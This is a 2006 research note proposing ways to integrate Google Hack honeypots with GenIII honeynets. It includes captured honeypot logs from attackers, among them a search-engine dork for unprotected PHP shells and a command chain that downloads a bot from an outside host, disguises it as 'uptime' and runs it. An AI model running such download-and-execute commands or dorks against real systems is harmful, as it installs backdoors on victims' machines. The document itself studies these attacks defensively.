

Integrating Google Hack and GenIII Honeybots

Thorsten Holz and Ryan McGeehan

January 18, 2006

1 Introduction

This document describes some ideas how to integrate two different techniques from the area of honeypot-based research. On one hand, there are *Google Hack Honeybots* and on the other *GenIII Honeybots*. At first, we will give a brief introduction to Google Hack Honeybots since presumably not everyone is familiar with this concept. The concept of GenIII honeypots should be familiar.

1.1 Google Hack Honeybots (GHH)

From <http://ghh.sourceforge.net/>:

<p>Google Hack Honeybot is the reaction to a new type of malicious web traffic: search engine hackers. GHH is a “Google Hack” honeypot. It is designed to provide reconnaissance against attackers that use search engines as a hacking tool against your resources. GHH implements honeypot theory to provide additional security to your web presence.</p> <p>Google has developed a powerful tool. The search engine that Google has implemented allows for searching on an immense amount of information. The Google index has swelled past 8 billion pages (in February 2005) and continues to grow daily. Mirroring the growth of the Google index, the spread of web-based applications such as message boards and remote administrative tools has resulted in an increase in the number of misconfigured and vulnerable web apps available on the Internet.</p> <p>These insecure tools, when combined with the power of a search engine and index which Google provides, results in a convenient attack vector for malicious users. GHH is a tool to combat this threat.</p> <p>GHH is powered by the Google search engine index and the Google Hacking Database (GHDB) maintained by the johnny.ihackstuff.com community.</p>

Figure 1: Explanation at GHH homepage

A GHH allows us to learn more about automated attacks that use Google or other search engines to find its target. This is a new way to scan for vulnerable hosts and in contrast to simple portscans, this technique is rather stealth:

- In the reconnaissance phase, there is no traffic from the attacker to the victim. The attacker queries the search engine and sends no packets to the real victim.

- This technique enables targeted attacks with high success rates. The attacker can search for a specific version of a vulnerable web application and then only attack the systems reported by the search engines. This allows him to carry out a stealth attack (he does not scan for vulnerable hosts) and only attacks against vulnerable hosts (high success rate).

In 2005, web application bugs became a spotlighted form of vulnerability on the Internet. Nearly every day there was a security advisory about a new vulnerability in a web application. For example, <http://www.milw0rm.com/remote.php> lists 13 web application related exploits within the last 30 exploits. The types of attacks are diverse. It could be SQL injection, Cross Site Scripting (XSS), or remote command execution, just to name a few. We have even seen some worms in the recent months that focus on web applications, e.g., Santy.A, Lupper/Lupii, Mambo (Elxbot), or the XSS worm at Myspace.

GHH now allow us to learn more about these kinds of attacks. We just have to adjust the methodology of honeypots to this new area. Since most worms (and even humans) use search engines to locate vulnerable web applications, we have to find a way to get a good ranking within the search index. But there are some problems to get a good page rank at google:

- We do not want to include obvious links into web sites so that normal people do not notice that this is a link to a honeypot
- Nevertheless, a search engine must have the impression that the web site is a real web application so that it is included in the index.
- In addition, the honeypot should include the necessary information so that it is included if a worm searches for further vulnerable hosts.

It becomes necessary for us to use “search engine optimization” techniques to advertise the GHH to search engine crawlers, but hide it from casual users. An example of such a step is to include a link to the GHH into the HTML page (since this is one of the few ways a spider can find it), but hide it with the help of cascading style sheets from real users. As HTML, this idea can be implemented in the following way (*will be picked up by Google as abuse*):

```
<a href="http://path.to/GHH" style="display:none">invisible</a>
```

Figure 2: Search engine optimazation: invisible link

Similar tricks can be used to advertise the website, but hide it from normal users. This way, we are able to improve the rank within search engines for our honeypot, without revealing our true intentions. This is again an example of the *dual-use* principle in IT security: with our transparent linking techniques, we use similar techniques that also search engine spammers use. We thus use the techniques of attackers to learn more about them.

The GHH itself is an emulation of the real web application. Instead of deploying a whole web applications, we just emulate the vulnerable parts which are necessary to be exploited by a web worm. This leads to easier deployment, better scalability and easier maintainance. The GHH collects some additional information about every access to the emulated web application. Besides obvious things like timestamp and requested URL, this can include information

about the HTTP referer or information about the client that accesses the page. This data is used to further identify each particular worm exploiting a vulnerability or to learn more about which commands would be executed by the worm. The following example shows an excerpt from an actual GHH log file.

```
PHPSHELL,01-09-2006 09:47:29 AM, XXX.70.107.165,  
/shell/phpshell.php,http://www.google.com/search?  
num=100hl=enlr=ie=UTF8safe=offq=intitle&#37;3A&#37;  
22PHP&#43;Shell&#43;* &#37;22&#43;&#37;22Enable&#43;  
stderr&#37;22&#43;filetype&#37;3AphpbtnG=Search,  
text/xml application/xml application/xhtml&#43;xml  
text/html;q=0.9 text/plain;q=0.8 image/png */*;  
q=0.5,ISO 8859 1 utf 8;q=0.7 *;q=0.7,gzip deflate,de  
de de;q=0.8 en us;q=0.5 en;q=0.3,keep alive,300,  
Mozilla/5.0 &#40;Windows; U; Windows NT 5.2; de;  
rv:1.8&#41; Gecko/20051111 Firefox/1.5,  
Known Search Engine: google.com;Target in URL;
```

```
PHPSHELL,01-09-2006 09:47:48 AM, XXX.70.107.165,  
/shell/phpshell.php,http://[REMOVED]/shell/phpshell.php,  
text/xml application/xml application/xhtml&#43;xml  
text/html;q=0.9 text/plain;q=0.8 image/png */*;  
q=0.5,ISO 8859 1 utf 8;q=0.7 *;q=0.7,gzip deflate,de de de;  
q=0.8 en us;q=0.5 en;q=0.3,keep alive,300,Mozilla/5.0  
&#40;Windows; U; Windows NT 5.2; de; rv:1.8&#41;  
Gecko/20051111 Firefox/1.5,ls;
```

```
PHPSHELL,01-09-2006 11:02:29 AM, XXX.137.186.13,  
/shell/phpshell.php,http://[REMOVED]/shell/phpshell.php,  
image/gif image/x xbitmap image/jpeg image/pjpeg  
application/x shockwave flash application/vnd.ms  
excel application/vnd.ms powerpoint application/msword  
*/*,,gzip deflate,en us,Keep Alive,,Mozilla/4.0 &#40;  
compatible; MSIE 6.0; Windows NT 5.1; SV1&#41;;,  
cd /tmp/.kupdate;wget XXX.home.ro/mech.tar.gz;  
tar -zxvf mech.tar.gz;rm -rf mech.tar.gz;  
mv mech netstat;cd netstat; rm -rf mech.set;  
wget adultzone.home.ro/mech.set;mv mech uptime;  
chmod +x uptime;PATH=$PATH;uptime;ps x;
```

In the first one, we see that the attacker finds the GHH with the help of a query to google. He searches for vulnerable versions of “PHP Shell”, a shell wrapped in a PHP script. If this script is not protected by some form of authentication, it allows a remote attacker to execute arbitrary commands. The google query itself searches for web sites that have unprotected PHP shells running (“Enable stderr”). Shortly after this access, the same attacker requests the PHP shell and tries to execute a command. This is the test whether the PHP shell really allows arbitrary commands. Since we are only running a honeypot, the attacker will notice the difference. But at least we have found a way to learn more about this kind of attacks. In the third example we see a more complex

command that would be executed. The attacker tries to setup automatically an IRC bot that would allow him a remote control mechanism to the compromised machine via this bot.

So GHH allows us to learn more about this kind of automated attacks against web applications. By far the most often command sequence we have observed is the installation of an IRC bouncer or some kind of backdoor at the compromised system.

2 Integrating GenIII and GHH

After the brief introduction to GHHs, we now want to present several ideas to integrate both concepts and enhance the effectiveness of both approaches.

2.1 Redirecting Traffic to GenIII Honeybots

One possibility to integrate the concept of GHH and GenIII honeybots is to deploy several GHHs that then redirect traffic to a GenIII honeynet. This way, we can use search engines to redirect the traffic to a honeynet and at the honeynet, a real web app is listening for malicious traffic. Since this is a real web app, the attacker can fully exploit it and we can observe him in detail. In this scenario, the GHHs are used to attract malicious behaviour: since the GHHs should only be found via abusing search engines, no non-malicious users should ever visit the honeypots.

This option is interesting because we attract attackers in a more or less covert manner. This approach is promising since there are currently some worms/kits that exploit the application phpBB2 and similar. Moreover, these worms and kits enable us to learn more about the background of these attacks: for what are these IRC bouncers used? Do attackers also connect to the compromised boxes? and similar questions can be answered.

Furthermore, this concept is straightforward to implement and deploy.

2.2 Analyzing GHH Logfiles With GenIII Honeybots

The logfiles from GHHs can be analyzed within a GenIII honeynet environment. We can execute the commands by the attacker and then observe what is happening to learn more about the proceeding. This is a “light” version of the traffic redirection: we just analyze the logged commands from the GHHs and do not allow an attacker to interact with a real honeynet.

Of course, this is not as effective as putting a vulnerable web app on a honeynet, but deploying and maintaining GHHs is much easier than vulnerable apps on a honeynet. In addition, such a system could scale better.

2.3 Generating GHHs With the Help of GenIII honeypots

The logfiles from honeypots can be used to learn more about new kinds of attacks that can then be incorporated into GHH. This way, GHHs can be adopted to new threats. An example of such a scenario is the following:

We observe a VoIP worm searching the phonebook at a GenIII honeynet. Based on the logfiles we can extract the necessary patterns to start an emulation of the vulnerable program. This allows us to deploy many GHHs with

only a limited amount of resource and capture more worms exploiting the same vulnerability in other parts of the Internet.

Again, this concept should be rather straightforward to implement and deploy. Presumably it needs much human intervention, though.

2.4 Cooperation With Google

We could try to get contacts to Google. Presumably they also have some stats on the search patterns used for running a GHH. This way we could correlate the data and learn more about attacks. Google hopefully has the incentive to work together with us since they want to stop the abuse of their service. Before we start the contact, we would however need some preliminary results.

3 Summary

This document should bring forward new ideas how to integrate Google Hack Honey pots (GHH) and GenIII honeypots. In addition, it serves as an introduction to GHH and its possible usages.

Essentially, we are adding advertisement to honeypot technology. That is all this really comes down to. The tricky part is *how* it is advertised to reduce false positives, which we will design after we know what resources we will be using. But due to this advertisement, we will be able to attract a new class of attackers and learn about new tools.

Furthermore, this is a way to learn more about targeted attacks. So instead of blind scanning, this is more like a hitlist that is generated with the help of different search engines. This is a new aspect in the area of “classical” GenIII honeypots since they have no real way to attract attackers and to learn more about targeted attacks. Some of the proposed concepts should be straightforward to develop and deploy.